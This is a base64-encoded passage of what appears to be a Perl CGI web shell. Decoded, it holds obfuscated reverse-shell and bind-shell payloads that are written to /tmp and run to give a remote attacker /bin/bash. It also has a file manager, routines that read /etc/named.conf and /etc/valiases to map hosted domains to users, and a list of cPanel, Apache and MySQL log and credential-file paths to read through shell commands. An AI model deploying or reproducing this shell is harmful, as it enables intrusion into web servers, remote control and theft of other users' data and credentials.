3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkP